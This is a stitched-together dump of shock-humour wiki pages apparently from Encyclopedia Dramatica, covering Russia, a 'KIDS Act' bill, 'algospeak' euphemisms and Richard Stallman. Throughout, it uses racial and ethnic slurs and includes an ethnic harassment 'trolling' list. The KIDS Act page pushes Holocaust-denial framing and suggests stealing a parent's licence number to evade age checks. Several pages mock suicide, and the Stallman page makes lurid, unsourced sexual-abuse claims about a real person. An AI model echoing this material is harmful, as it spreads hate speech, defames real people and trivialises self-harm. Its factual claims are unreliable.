|<youtube>cMIHLzuJ4Wg</youtube>
;National [[aspie|hero]] [[Satan|Nikita Litvinkof]] explaining how he shaved his [[balls]] earlier this morning.
|<youtube>kB01jVaUlNs</youtube>
;Jura Demidovich on Children [[Satan|Satanic]] Song Contest — Volshebni Krolik (Magic Rabbit). Etis atis animatis.
|<youtube>KA_owweVVMU</youtube>
;Russian [[retard|rising star]] [[Cock|DickS ("ХуйС")]].
|<youtube>GyaqDN7sgaU</youtube>
;Drunken Russian clubber.}}
|}}
}}

==[[lol|Culture]]==

Russians cultivate Multidrug-Ressistant Tuberculosis, mainly within prisons. Other Microbiological Cultures include B. Athracis and [http://www.pwhce.org/ebolapox.html Ebolapox].

===Russian Disco===
 
{{quote| This is an example of sample Russian disco party.

It looks the same probably in all the Russian not so big towns.

All guys who visit are ready to fight, they find somebody who is alien there and attack. And nobody would call police - just because it’s not something unusual - if you going to visit Russian disco party in smaller towns - you take the responsibility of participation in the fight.

Most of the young guys know that they need to be tough because they are going to go to Russian army and in Russian army it’s more like in prison - officers don’t control what happen - there is a big hierarchy between the soldiers.

Those soldiers who served longer - they beat EVERY day the younger ones - just because when they came - they were treated in the same manner. In Russian army there is thousands of soldiers die every year just because of this. And nobody cares. The latest story that was discussed nationwide in Russia is regarding one soldier who lost both of his legs because he was humiliated awfully in the army.

So when the elder guys return from army they have a broken psychics which is being transfered to the younger generations.| In Russia, Disco party find YOU!}}
 
<center>{{frame|<youtube>_WPvxguiyf0</youtube>
<center>'''Work of security in Russian night club.'''}}</center>
 
===Pastimes===
Russian Pastimes include, and are not limited to:
#[[An hero|Jumping]] off apartment towers
#Shooting yourself in the street
#Generating most of the content on [[Nothing Toxic]]
#Getting blood poisoning on high [[alcohol]] drinks

<center>{{frame|<youtube>O5mvcxu4lXs</youtube>
<center>'''A popular Russian pastime being enjoyed, even outside of Mother Russia.'''}}</center>

[[Image:russian roullete.jpg|thumb|220px|The Russians did it first.]]
{{wayback|http://www.fap-roulette.com/|20100118073352|title=Russian Roulette}} was invented by Stalin in an attempt to make tourists feel at home. Typically, it's like musical chairs, except with bullets. Of course it failed because no one did this at home and the Russians soon forgot about it. However [[Asians]] soon decided this is exactly the kind of thing that they want to be associated with. And began using it to try and lower their horribly large populations. Russia declined to comment. For extreme fun, make sure there are as many bullets as there are people!

<center>{{frame|<youtube>43FGV5uuaYE</youtube>
<center>'''[[Drug|Weed]] is [[moar]] fun than a [[an hero|bullet to the brain.]]'''}}</center>

==Music==
 
{{center|
{{frame|
{{videoframe|russki3|font-weight: bold;|
|<youtube>NXdvE0p7SXc</youtube>
;Russian [[Nazi|Rammstein]].
|<youtube>B2_w4N5v3ts</youtube>
;Russian [[Vodka]].
|<youtube>bsxWwM5piwo</youtube>
;Russian [[Wacko Jacko]] ([[pedobear]] [[IRL]]).
|<youtube>qxepbFhxFO8</youtube>
;Happy New Year!
|<youtube>7bda7Fgrzzc</youtube>
;Typical russian [[rap]] song.
|<youtube>QBX72RDWIN4</youtube>
;Russian secret weapon - Khirkhorror.
|<youtube>P9sQZLtsfp8</youtube>
;Mistake, this is from [[Bulgaria]]
|<youtube>mhWUU5LyzF8</youtube>
;8
|<youtube>oavMtUWDBTM</youtube>
;[[Trololo|By far the best music from Russia!]]
|<youtube>BQAKRw6mToA</youtube>
;10}}
|}}
}}
 
==Sport==

[[Image:Zangiefdance.gif|thumb|A popular pastime in Russia.]]

During the Cold War, after their discovery of anabolic steroids, the Russians whupped American asses at almost all sports, until Arnie "I'll be Bach" Schwarzenegger stole the formula and in in return was made Governor of Carly-fornya. However, excessive use of these drugs made Russian men infertile, and gave the women pubes that reached almost to the floor, making the high-jump particularly hazardous, and leading to a low birth rate. Nowadays, because Russians prefer unsung feats of brutality like [[1Girl99Stomps|Head Stomping]] and <strike>[[3Guys1Hammer|Hammer Killing]]</strike> (that's [[Ukraine]] you [[dumb]] [[fuck]]), they usually only do well at hockey and at sports with bribe-able judges. They aren't so good at [[baseball]], [[football]], basketball (except in European league). Even in hockey, they aren't as good as [[Canada]] anymore, despite PWNING Canadian rookies three years in a row in some meaningless tourney that no one in a world gives a flying shit about, they got seriously ass-fucked by Canadians in the 2010 Olympics hockey game, having become to hockey what [[Japan]] is to baseball. Still, they suddenly fucked all the black person's asses in boxing, crazy barbarian bastards. They also [[pwn]] everyone in chess, but no one gives a fuck because chess isn't really a sport.

{{center|
{{frame|
{{videoframe|russki6|font-weight: bold;|
|<youtube>hEep5BrexT0</youtube>
;Typical extreme russian sports
|<youtube>wPzSfccqANE</youtube>
;2}}
|}}
}}

==Russian National Anthem==
:''Russia, Russia''
:''Where women look like men''
:''Russia, Russia''
:''Eyebrows FTW''
:''Russia, Russia''
:''Soul crushing and cold''
:''Russia, Russia''
:''We do it if we're told''
:''Russia, Russia''
:''...Vodka.!''

==Trolling Russians==
[[File:Moscow_potato_queue_2017.jpg|320px|thumb|right|'''Win:''' Force them to go bankrupt so they adopt capitalism. '''Bonus:''' Make them queue more often afterwards]]
[[File:Hit a rich man.png|220px|thumb|In America you advertise capitalism, In Russia capitalism advertises you!]]
[[Image:Kissingrussians.jpg|thumb|220px|Faggotry is actually tolerated in Russia only in Chechnya the Muzzies will kill you if you practising it]]

#Say them that Russians are nothing but a slavicized Finno-Ugrians.
#Tell them the Cyrillic alphabet was the result of strabismus (permanently crossed eyes) suffered by its creator when he tried to reproduce the Latin alphabet.
#Tell them Tchaikovsky was a hack who stole "The Nutcracker" from a German composer.
#[[Dongcopter]]. Maybe [[gay|10%]] of them don't mind.
#Call them Vodka Niggers or Borscht Niggers.
#Point out over half of the world's [[CP]] comes from Russians.
#Implying Russia is ever in the wrong, even in [[Shit no one cares about|extremely morally questionable situations like Chechnya.]]
#Tell them [[communism]] is fine as long as they keep it in Russia.
#[[Stalin]] rolling them, they'll get very pissed at this because they don't like getting hard boners seeing Stalin dance.
#<s>Say that the Civil War in Donbass where Russia support the Rebels is a hidden Invasion of [[Ukraine]].</S> Not anymore.
#Many Russians are avoiding to serve in the Military, there are many reasons but the main is "old-timers" ("granfathers" - "деды"), who [[anal|violates]] the newbies and just the oafs or "weakness" guys whom can't stand their position as a "man" which mean that every second has a 9000% chance to be violated.
#You'll get over 9000 lulz if you call every Russian a schoolchild or schoolboy or shkolota or школота. I Guarantee It.
#Mention how a multicultural societies are highly successful and a pure [[white]] society leads to poverty. Use [[America]], [[Canada]], and [[France]] as an example and then point out [[white]] ghetto slums in Russia.
#Mention Soviet War Crimes and [[Communist]] atrocities.
#Mention the German-Soviet Non-Aggression-Pact
#Mention the [[Soviet]] Occupation and Annexation of [[Estonia]], [[Latvia]], [[Lithuania]], Eastern [[Poland]], and the War with [[Finland]]
#Mention the War crimes in the Chechen Wars
#Mention the Mass Rapes committed by the Red Army
#Mention the large numbers of [[chink]]s are flooding Russia's far east.
#Say to them that they are Mongoloid and not Caucasoid.
#Minimize their role in the outcome of [[WWII]].

==Anon in Russia==
Because everything in Russia is so fucked up, Russian [[Anon]] community consists of all those [[faggots]] nornal Anon hates, like:

#[[Attention whores]]
#[[Communists]]
#[[Anarchist]] Using anonymity as mean to spread their stupid [[Bullshit|views]] nobody cares about.
#[[Chav|Gopnegs]]
#[[Faggots]]
#[[You]]
#[[Germans]]
#[[13-year-old boys]] or "Малолетний долбоёб" (littleaged peckfuck) , or "школота" (Schoolboys)... (mostly schoolboys, I guarantee it)

So as result, [[The Cancer That Is Killing /b/|being founded on the cancer that is killing /b/]], Anon lived amazing 3 years.

Only good thing about whole community is their [[Encyclopedia Dramatica|æ]] which is caller Lukomorie (Russsian fairy land) which name drives from [[Lurk moar]]. Unlike [[2ch]] it's edited by real Anons and contains important knowledge on such an important topics like [[cam whore|cam whoring]], [[attention whore|attention whoring]] and different Russian ways of trolling (some of which are pretty [[Lulz|Lulzworthy]])

==Gallery==
 
{{cg|'''Россия'''|fcgallery|center|<gallery perrow=5>
Image:Russian_Nazis.jpg|Russians paying respect to their Grandpas' mass grave.
Image:pavlenko_009.jpg|Most Russian internet brides actually look like this because Russia has a surplus of Babushkas.
Image:Supastalin.jpg|Super Boris, Russian video game legend.
Image:Joseph Stalin - handsome bastard.jpg|The best leader of Russia. Who happened to come from Georgia..irony.
Image:lolputin.jpg|Ex-KGB spy and current Russian prime minister makes an appearance in ''James Bond''.
</gallery>|<gallery perrow=5>
Image:Rushaircut.jpeg|Typical Russian Haircut
File:Russian_dreamboy.jpg
File:Russian Family.jpg|Traditional Russian family.
Image:CrowVodka.gif|Even russian crows drink vodka
File:Most russian photo.jpg
Image:russianmafia.jpg|Russian mafia aka ''братва'' smuggling vodka.
Image:russianpeacekeepers.jpg|Russian peacekeepers enforces peace in Georgia.
Image:RussiaSimbol.jpg|Glamorous Russian eagle.
Image:Russiananatomy.jpg|Modern Russian anatomy.
Image:RUSSIA.gif|Picture of the typical Russian Citizen. Note the large [[furry]] eyebrows.
Image:RussianBaptism.jpg|Russians are very religious and cold-proof people.
Image:Piloteject.jpg|Russian Jet, Ukrainian pilot, what did you expect?
Image:Cannedfoodinrussia.jpg|Tastier than it looks.
Image:Rasputins penis.jpg|Collecting penises in jars is a traditional Russian hobby.
Image:Future belongs to me.jpg|Tomorrow [[All_your_base|belongs to me]].
Image:Sup bitches.jpg|What Now?
File:USAvsRussia22.jpg|Poccha vs CWA
Image:RussianPride1.jpg|Our glorious elders.
Image:RussianPride2.jpg|Moar?
Image:RussianPride3.jpg|National Service
File:Manlet Russian.jpg|Russian Soldier
File:Marines_versus_babushka.jpg
Image:Russiandeathnote.png|The Russians getting in on the action.
Image:Stalinvsmartians.jpg|The only surviving record of Soviet Russia...
Image:Cephalopenis.jpg|Russian dickhead.
Image:LRONSTALIN.jpg|Unknown to many, L Ron Hubbard is in fact......Stalin.
Image:I0231rp.png|A Russian woman's mating ritual with a foreigner eat your heart out Zhirinovsky.
File:Sovietrussiawaldo.jpg
File:Russian Satrical.jpg
File:Putin Stronger Than An Ape.jpg
File:Dont Talk To Slav.jpg
File:1423271186998.jpg|Russkies love to defend their homeland... on other people's land
File:1423346882854.png|Typical Russian gopnik on /int/
File:1423573954699.jpg|Expectations versus Reality
File:Slavic - outer and inner.jpg|Fragile Russian soul
File:1423515771317.png|Purest white genes in the whole of Europe
File:1423266644738.jpg|This is how russkies deal with russophobes
File:1423223024885.jpg|In my country there is problem...
File:Vatnik.syndrome.jpg|Russia stronk!
File:Got.any.proofs.png|A forced meme that got started on krautchan
File:China.is.of.dominate.jpg|A hole is a hole, nuff said
File:Liberator.face.png|Wherever I am, I must also rape
File:Russian Children Playing.gif|Russian children playing in the busy streets of the magnificent megatropolis of Moscow
File:Meanwhile_in_russia_1.jpg
File:Slavic Giant.jpg
File:Subhumans.jpg
File:Novgorod.versus.moskva.jpg|Finns to the left, Tatars to the right
File:Russkies.are.turks.PNG|See for yourself
File:Yamongoloidniy.png|Russian Neo-Nazis
File:Portrait.of.a.serial.russkie.PNG|Cunt destroyer
File:Romania.russia.jpg|Norman invasion theory is clearly a lie
File:Kyiv.versus.moscow.jpg|According to [[Pediwikia]], this fertile area, being well protected from Turkic incursions by the forests, provided a favourable oasis for Slavic people migrating from the southern borders of Kievan Rus
File:Real.life.gommies.jpg|This is what an actual Komi looks like
File:Mordva.is.of.slavic.jpg|Russians are Slavs, remember?
File:Slavic.nations.jpg|What's a 'cock-oshnik'?
File:Khanty.women.jpg|Some Russian women are a bit Khanty
File:Udmurt.politician.JPG|Typical face of a Russian statesman
File:Putin.veps.png|Putin is a Veps
File:Klara.wester.png|According to a Myth Russian women are known to being gorgeous "Slavic" beauties
File:Rapist.genes.jpg|Don't forget
File:Blond.blue.eyes.jpg|Russia is the only white country left on Earth
File:Russkies.are.huns.jpg|An ugly looking bunch aren't they?
File:Ivan.had.a.terrible.day.jpg|Being pounded by Faggy Swedes and dirty Polaks is a tough job but someone's gotta do it!
File:Putin Truth 88.png
File:Jew.vs.russkies.jpg|Even filthy kikes know that russkies are not even remotely Aryan
File:Crimea.self.defense.png|Well, if there is something both russkies and kikes have in common, that's definitely '''[[Duckroll|CHUTZPAH]]'''
File:Russian Chicken pox 2.jpg|This is what russkies consider to be a solid 10 in their home country
File:Russkies.are.finns.confirmed.PNG|The enigma of the Finnic "admixture" has been brutally [[Rape|cracked]]
File:Russkies.are.niggers.png|This dindu is probably studying at the most prestigious Moscow military academy <strike>in order to orchestrate a violent coup</strike> to take part in a revolution in [[I TOUCHED HIS PENIS!! OMG|HIS]] home country
File:Neverquitanempire.jpg
File:Desktopslav.jpg
File:FurfagRussian.jpg
File:USSR vs Finland.jpg
</gallery>|}}
 
== See also ==
[[File:Putin-absorbing-childs-life-force.jpg|right|]]

=== People ===
*[[Luka Rocco Magnotta]] (the most famous Wannabe-Russian)
*[[Aleksandr Pistoletov]]
*[[Bad Vlad]]
*[[Dmitry Vinogradov]]
*[[LucidFox]]
*[[Natalia Poklonskaya]]
*[[PissedOffVideoGamer]]

=== Things That Piss Russia Off ===
#[[Alaska]]
#[[Azerbaijan]]
#[[Botnet]]s
#[[Сибирской говор]]
#[[Ukraine]]
#[[Finland]]
#[[Homosexuality]]
#[[In Soviet Russia...]]
#[[Lithuania|The]] [[Latvia|Baltic]] [[Estonia|States]]
#[[Malaysia Airlines Flight MH17]]
#[[Moldova]]
#[[Poland]]
#[[Rainbow Stalin]]
#[[List of *chan boards#Sovjet-Nederland|Soviet Netherland]]
#[[USA]]

=== Things Russia Likes ===
#[[ВИD]]
#[[Armenia]]
#[[South Ossetia]]
#[[Venezuela]]
#[[Communism]]
#[[Fishing Cat]]
#[[Leave Bond to me]]
#[[Padonki]]
#[[Preved]]
#[[Red Army]]
#[[Russian Wikipedia]]
#[[Russia Today]]
#[[Socialism]]
#[[Tetris]]
#[[Упячка]]
 
{{Commonwealth}}

{{Russia}}

[[Category:Locations]]
{{Timeline|Featured article July 2 & July 3, [[2013]]|[[OJ Simpson]]|[[{{PAGENAME}}]]|[[4th of July]]}}
{{Timeline|Featured article December 6 & December 7, [[2017]]|[[AIDS]]|{{PAGENAME}}|[[Mariah Anderson]]}}
{{Timeline|Featured article February 24 and 25, [[2022]]|[[Anonymous]]|{{PAGENAME}}|[[Putin]]}}

{{timeline|Article of the Now April 25 & 26 [[2023]]|[[Bible]]|{{PAGENAME}}|[[Party Van]]}}

[[Category:Rusfags|*]]

KIDS Act

2026-07-22T11:23:11Z

SmidgeX2:

[[File:Kids act passes.jpeg|right|250px]]

The '''''KIDS Act''''' ( They call it the [[Powerword|"Kids Internet and Digital Safety Act"]], though its more of the [[Truth|Killing the Internet and Digital Suffering Act]] or [[KOSA|KOSA Lite]]) was passed by Congress on June 29, 2026 with 267-117 votes and you should be [[religion|praying]] that it gets voted down in the Senate.

The '''KIDS Act''' hides behind the quiet [[Propaganda]] and [[George Carlin|sacred cows]] that its goal is a federal bill to protect [[Children]] and regulate how tech companies treat minors online with digital safety proposals to enforce platform safeguards, restrict targeted advertising to youth, regulate AI chatbots, and mandate age-verification for sexually explicit websites but it is another subtle bill like the [[Patriot Act]] that is designed to quitly take away more of our Constitutional Rights.

First and formost, what you should be [[Fearmongering|afraid]] of is that if this bill is passed by the Senate and signed into law by our [[Donald Trump|Great God Emperor Donald Trump]] because of pressure from [[Old people]] who can't stand to see the word [[Nigger]] being used on the [[Internets]], the [[KIDS Act]] could lead to the unconstitutional censorship of constitutionally protected speech, limiting minors' access to vital resources much like how you always get a [[Politically Correct|PC]] response from [[Google|Google's]] AI when you try to search for a negative belief on a political issue.

Go right now and search [[Google|Gaygle]] for arguments arguing that the [[Holocaust]] is a lie and never happened or that it is a [[Jewish]] conspiracy to wrestle [[Money]] away from [[Europe|European]] countries like [[Germany]] and [[Austria]] to support [[Israel]] behind the curtain that these pay-outs are meant to return [[Art School|Art]] and moneies to Jewish families that were '''''"Allegedly"''''' stolen from them during the great [[Holocaust|Jewish Holocaust Lie]] to support [[Israel]]. You will get a Google AI response that will politely tell you that you are an [[Anti-semitism|Anti-Semite]] and will lead you to '''Jewish''' approved websites that say that the [[Lie|Holocaust did happen]] and the Jews do deserve these paybacks while being put on a list by the [[National Security Agency]] because you might possibly be a [[Nazi|Jew Hater]] and planning to spray paint the doors of a Jewish Temple with [[Swastika|Swastikas]].

If the '''KIDS Act''' is passed into Law, you can expect to see more of this PC [[Bullshit]] being played out on the [[Internets]] except that you will have the Internet Police wearing their [[Roger Waters|standard issue military boots kicking in your door]] because you used the word [[Spic]] or [[No Human Being is Illegal|Wet Back]] when describing a [[Mexico|Beaner]].

== So What Is KIDS Act ==

[[File:Us passport.jpeg|right|250px]]

KIDS Act, or [[KOSA|KOSA Lite]] is a great compromise between The Government, tech giants like [[Elon Musk]] and angry [[Your Mom|Mothers]] that can't stand to see the word [[Nigger]] being used on a website despite their using it [[Over 9000]] times a day or get [[Angry]] when their chubby little princess, [[12-year-old girl|12-years-old]] and weighing 250 pounds, gets called a [[Fat|Fat Ass]] on X and wants to sue someone.

One of the most important things that you should be aware of is that despite the KIDS Act saying that it [[Lie|Does't require age verification]], because everyone knows how they were saying they were [[18-1|18]] when they got ahold of their [[Your Dad|Dad's]] credit card because they believed the Mythical advertisements saying that Emma Watson, from [[Harry Potter]], did an underground video of her taking it in the [[Ass|pooper]] and had to see it, websites are expected to always know a user's age regardless. If a user, [[God]] forbid, lies about their age, the website's logarithm guesses wrong or the website's photoscan guessed the wrong age because [[Your Mom|Mommy's]] little darling put on a fake mustache and beard - it is still the website's responability to have known the user's [[Age]].

To avoid [[Government]] actions against them and an [[Internet lawsuit]] getting placed against them because someone [[Photoshopped]] a [[Dick]] in a [[Girl|Girl's]] mouth and made her have a [[Insane|Psychological break]], websites will most likely be asking for more tangible evidence such as a [[Car|Driver's License]] or a Passport to be allowed to use their site.

So, thanks to [[Your Mom]] being a big fat [[Bitch]], if the [[KIDS Act]] gets passed by the Senate and signed into law by our [[Donald Trump|Great God Emperor]], your [[I'm 12 years old and what is this?|12-year-old]] ass won't be able to just say that you're 18 and be able to access this site. You'll have to steal your dad's driver license number and plug it into a third-party website to be able to enter into this great experiment of the [[Freedom of speech|First Ammendment]].

For [[Law|Legal]] reasons and if this prepackaged [[Retard|Retardation]] on paper should ever get passed into [[Law]], we're going to say that we're just predicting a possible scenario that a [[Kid]] with an [[I have a 140 IQ|IQ]] over 60 might use to bypass the system.

Algospeak

2026-07-19T19:54:59Z

SmidgeX2:

[[File:Youre regarded cat.jpg|right|300px]]
'''Algospeak''' is the [[Web 3.0]] resurrection of [[leetspeak]]. It is the use of [[Subliminal Messages|euphemisms]] in reaction to internet [[censorship]] and feebleminded [[moderation]] systems (mostly from the usual bunch of idiots [[TikTok]], [[Instagram]], [[YouTube]], [[Twitter|e.]][[Twitch|t.]][[Discord|c.]])

[[Attention whore|Internet entrepreneurs]] tend to use [[Apple|emojis]] to communicate their useful blabber and moans.

:{{stub}}

'''Selection of some popular examples:'''
*Ass = ahh / 🍑
*[[Assburgers]] = Acoustic / 'tism
*Child porn = cheese pizza / car parts / cp
*Crabby = 🦀
*Dick = 🍆
*Die/kill = unalive
*Fuck = fugg / fork
*[[Jews]] = Juice
*Nigger = ninja / 🥷
*Pandemic = panda express / panini
*Pedophile = PDF
*Porn = corn / 🌽 / pr0n
*Rape = Grape / 🍇
*Retarded/retardation = regarded / regardation / restarted
*Sex = secks / seggs / shmex / mascara / s3x
*Sex offender = leg booty
*Suicide = Self unalive, sewer slide, [[An Hero]]
*Sexual assault = S.A.
*Weed = 🌿 / 🍃 / oui'd
*Whore/slut = [[WHAT HAS SCIENCE DONE?|accountant]]

==👀 also==
*[[Leetspeak]]
*[[Censorship]]
*[[Generation Z]]
*[[Acronym]]s
*[[Ban]]ning

{{cancer}}
{{language}}
{{retardation}}

Minecraft villagers

2026-07-19T16:16:23Z

SmidgeX2: Redirected page to Jews

#REDIRECT [[Jews]]

User:SmidgeX2

2026-07-18T18:12:00Z

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Richard Stallman

2026-07-15T14:02:05Z

SmidgeX2:

{{Aspie}}
{{Pedo}}
{{Dying}}
{{spoilers|text=STALLMAN IS A FUCKING PEDOPHILE}}

[[Image:RMS.jpg|thumb|Yep. He is the reason for the teasin']]
[[Image:Wikimania stallman keynote2.jpg|thumb|Everyone in the room promptly passed out from the fumes emanating through the audience]]
[[File:Vagelis looks like rms.gif|thumb|right|When not pioneering the free software movement, RMS spends his time in the studio creating [[avant-garde]] electronic works.]]
'''Richard Marx Stallman''' is a [[hacker]] often referred to by his initials of "RMS". RMS is moderately famous for the establishment of the [[Free Software Foundation]], and GNU (''GNU's Not Usable'') Software. His various projects (based out of the [[Nerd|MIT Media Lab]]) have [[Lie|essentially changed the software industry]], and, along with [[Linus Torvalds]] (the original developer of the rampantly popular [[Linux]] knock off of [[UNIX]] and, as select others would argue, [[Shit nobody cares about|Minix]]), has suddenly gained a following. Of course, before Linus released Linux, his fame was close to null.

Now, RMS seems to spend his time avoiding soap and bitching that Linux should be called "GNU/Linux" since it "uses GNU software, and Linux is just the kernel." If RMS had actually spent more time working on projects like ''HURD'' instead of writing the ''GNU Software Manifesto'' he may have a right to bitch. Too bad ''HURD'' sounds so close to ''TURD''.

Since GNU/Hurd never worked properly, it has been superseded by the [[GNAA]]/Hard as explained in this press release [http://web.archive.org/web/20120402012436/http://www.gnaa.eu/wiki/pr/2005-02-11-gnaa-hard].

In 2008, Stallman decided to take a break from raping [[13-year-old boy]]s and try to find his "[[unrealistic expectations|sweetie]]" on [[craigslist]] [http://www.craigslist.org/about/best/bos/533096562.html].

{{quote|I'd like to meet a [[loli|woman]] with [[slut|varied interests]], [[bi-curious|curious about the world]], [[shit nobody cares about|comfortable expressing her likes and dislikes]] (I hate struggling to guess), delighting in her [[Tits or leave|ability to fascinate a man]] and in [[buttsecks|being loved tenderly]], who values [[nice guys|joy, truth, beauty and justice]] more than "[[basement dweller|success]]"--so we can share bouts of [[Hawaiian Dicking|intense, passionately kind awareness of each other]], alternating with [[masturbation|tolerant warmth]] while we're absorbed in [[CP|other aspects of life]]. |RMS describes his ideal woman. [[A winner is you|Could it be you?]]}}

{{quote|I am skeptical of the claim that voluntarily pedophilia harms children. The arguments that it causes harm seem to be based on cases which aren't voluntary, which are then stretched by parents who are horrified by the idea that their little baby is maturing.|Richard Stallman, on [http://www.stallman.org/archives/2006-may-aug.html#05%20June%202006%20%28Dutch%20paedophiles%20form%20political%20party%29 pedophilia]}}

{{quote|Richard Stallman is just my [[mundane]] name. You can call me RMS.|Richard Stallman introducing his [http://www.gnu.org/graphics/heckert_gnu.png fursona]}}

{{quote|I'm not glad he's dead, but I'm glad he's gone.| RMS on the death of [[Steve Jobs]]}}

{{quote|It doesn't take [[necrophilia|special talents]] to reproduce--even plants can do it.
On the other hand, contributing to a program like Emacs takes real
skill. That is really something to be proud of.

It helps more people, too.
|Richard Stallman, [[Richard Stallman/chatlogs#Narcissistic hatred 3|congratulating Stefan Monnier for his new baby girl]]}}

{{quote|For [[necrophilia]], it might be necessary to ask the next of kin for permission if the decedent's will did not authorize it. Necrophilia would be my second choice for what should be done with my corpse, the first being scientific or medical use. Once my dead body is no longer of any use to me, it may as well be of [[buttsex|some use]] to someone. Besides, I often enjoy [[Sick fuck|rhinophytonecrophilia]] (nasal sex with dead plants).|Richard Stallman, on fucking rotten noses filled with dead plants and on having [[buttsex]] with other necrophiles [http://stallman.org/archives/2003-may-aug.html]}}

== Some RMS Lore ==
After getting his first degree at Harvard, RMS enrolled at MIT for his graduate work, but then he stopped studying and sort of hung around the place using their computers. He had an office on the 7th floor of LCS until he resigned in protest because all the other programmers in his lab were getting private-sector jobs and lives. But MIT let him keep his office, and he lives there because he refuses to have an apartment.
[[Image:Stallman.jpg|thumb|"I'm a goat-fucker!" - RMS in 1994]][[Image:Abitcamp.jpg|thumb|Stallman showing his GNU pride]]
[[Image:Stallman-fat.jpg|thumb|{{quote|The "War on Terror" was an excuse to do what Bush (and Obama too) wanted to do, while the [[USI|War on Fat]] would be "bad for business."|Richard Stallman, defying Obama [http://stallman.org/archives/2010-mar-jun.html#24%20June%202010%20(NICE%20rebuffed)]}}]]
[[Image:Stallman-eat.jpg|thumb|{{quote|Sugar and fat in food have brain effects similar to addictive drugs.|Stallman, on being fat [http://www.stallman.org/archives/2011-nov-feb.html#07_November_2011_%28Fat_In_Food_Addictive%29]}}]]
Anyway, RMS has or had a number of geek chick groupies. None of them could be called "hot", really -- well except for this one little psycho Jewish undergrad from NYC and (much to Spider-Man's annoyance) [[Whore|Kirsten Dunst]], an MIT undergraduate at the time. He would sleep with them on the sofa in his office. That's why he got kicked out of floor 7, and down to the 3rd floor: that the cleaning staff complained about pulling used condoms out from behind the sofas. You can use this information for [[troll|trolling]] if you wish, but it's all true.

RMS has a phobia of water that prevents him from showering. RMS has been observed taking a sponge bath in the 3rd floor men's room in LCS. Apparently once he had a girlfriend who he was totally in love with, and she convinced him to take one shower a week. It was a traumatic experience for him each time.

RMS also has a phobia of spider plants. When RMS starts bothering a grad student and going to his office and talking to him constantly and getting him to spend all his time writing free software, the grad student will complain to someone on the floor and they'll let them in on the secret: get a spider plant in your office. The next time RMS drops by, his eyes will bulge a little, and he'll say "Umm. . . I wanted to talk to you about hacking some elisp code . . . why don't you stop by my office sometime?" and make a hasty exit.

One of his more nasty habits is picking huge flakes of dandruff out of his hair while talking to other people. At least he doesn't eat them, like some [[User:wholesomedick|people]].

Now, everyone loves to make fun of RMS, but he really is a genius, on the order of Diogenes (another filthy slob who couldn't keep a normal living arrangement, so lived in a barrel) or [[Ghandi]] or Ezekiel. Everything he has ever said, while sounding naive, paranoid, idealistic and stupid at the time, turned out later to be correct.

The only thing to fear in his philosophy is his interest in reducing population growth. Everyone else who has been obsessed with that "problem" turned out to have fascist or totalitarian tendencies. On everything else, bitter experience has proved that he is right. It is generally wise not to use any non-[[GPL]]d or lGPLd software (with the exception of when you must actually get work done such as watching [[YouTube|videos of cats falling off beds]] or playing [[ghey]] [[World_of_Warcraft|games]]), and we can look forward to being able to buy only "open" hardware. <s>Software</s> patents could be completely eliminated, and with the development of digital communication, there is no reason why Congress shouldn't simply repeal all of Title 17 and do away with all copyrights. They just aren't needed. [[Libertarianism|Same goes for all the other laws.]]

The wannabe lawyer also hates [[Creative Commons]], because they allow flexible licenses rather than forcing everyone to use copyleft licenses. Even though most normal Creative Commons licenses allow non-commercial trade of licensed works, he criticizes them for supporting other licenses that do not. In other words, he only believes in supporting organizations that promote his choice, rather than supporting organizations that leave all choices open. JUST LIKE A NAZI.

{{quote|In the long run, making programs free is a step toward the [[communism|post-scarcity world]], where [[basement dweller|nobody will have to work very hard]] just to make a living. People will be free to devote themselves to activities that are fun, [[nerd|such as programming]], after spending the necessary ten hours a week on required tasks such as legislation, [[incest|family counseling]], [[robot]] repair and [[science fiction|asteroid prospecting]]. There will be [[death|no need to be able to make a living]] from programming.|Stallman's manifesto. srsly.}}

==GPL v3==
By 2006 Stallman was fed up with all the attention being given to Linux and [[Eric Raymond]]. In an attempt to [[Unwarranted Self-Importance|grab the spotlight]] he released the third edition of the GNU General Public <s>License</s>Virus. The new version says that anyone can use GNU software however they want, unless it involves

* [[copyright]] enforcement
* [[drug]] prohibition
* interfering with [[Net Neutrality]]
* end-users
* [[Republicans]]
* personal hygiene
* [[profit]]!

Other than that, GNU software will remain [[lie|completely unrestricted]]. Any normal dude or dudette would just throw his sources somewhere on the net, without any license, as we all know GPLed software is being majorly ripped off and sold anyway, in which case h4x0rZ don't go to court anywayz. h4x0rZ don't like authorities and [[DDoS|solve things their own way]].

== The Free Software Song ==
[[Image:Haxorec40.jpg|thumb|300px|<s>''YES''</s>]]
RMS wrote and recorded an anthem to be the battle cry of the Free Software Foundation.

*[[Media:Free-software-song.ogg|Why Cooperation With RMS Is Impossible]]
Original recording of the song by RMS

The Free Software Song 
[To the melody of "Sadi Moma"]
 
''Join us now and share the software;'' 
''You'll be free, hackers, you'll be free.'' 
(repeat)

''Hoarders can get piles of money,'' 
''That is true, hackers, that is true.'' 
''But they cannot help their neighbors;'' 
''That's not good, hackers, that's not good.'' 

''When we have enough free software'' 
''At our call, hackers, at our call,'' 
''We'll kick out [[GPL|those dirty licenses]]'' 
''Ever more, hackers, ever more.'' 

''Join us now and share the software;'' 
''You'll be free, hackers, you'll be free.'' 
(repeat)

Melody of Sadi Moma, a Bulgarian dance tune. 
(Dash means previous note continues; 
there are seven beats per measure.) 

D-CB-A- B-CBAG- G--A--B C--B-BD A--A--- CDCB---
D-CB-A- B-CBAG- G--A--B C--B-BD A--A--- A------

Copyright 1993 Richard Stallman
Verbatim redistribution permitted
if this notice is preserved.

{{achtung|HOLY FUCKING SHIT HE IS A PEDOPHILE!!!!!1!1!}}
As you read further up the page, Stallman made the claim that "Voluntary pedophilia does not harm children". Stallman is a [[Sick Fuck|disgusting fuck]] who wants [[CP]] legalized. He had also defended [[Sick fucks]] that were complicit with [[Epstein]].
He defended someone who was paid to [[rape]], driving them to [[an hero]] a few years later. [https://www.npr.org/2019/09/17/761718975/free-software-pioneer-quits-mit-over-his-comments-on-epstein-sex-trafficking-cas]

== Fame Amongst Illegal Immigrants ==
Mexicans had never heard of [[Retard|Richard]] or GNU before he visited them all on the Mexican border to America. He sang his song and it was an immediate success. This beautiful moment was captured on tape an released freely for everyone to enjoy.
<youtube>9sJUDx7iEJw</youtube>
[[LOL_WUT|"Join us hackers and you'll be free"]]; here, this twit demonstrates the difference between retarded no-life GNU "hackers" vs the original "h4x0rZ". No wonder Linux hasn't gone mainstream.

== Yum! Toe Cheese ==
Immediately after admitting to some embarrassing ignorance while answering a question pertaining to the scope of patent laws (a topic about which he's very concerned but apparently doesn't know much), RMS discovered a new form of nourishment that everyone (except [[amputee]]s, [[LOL]]) can enjoy.
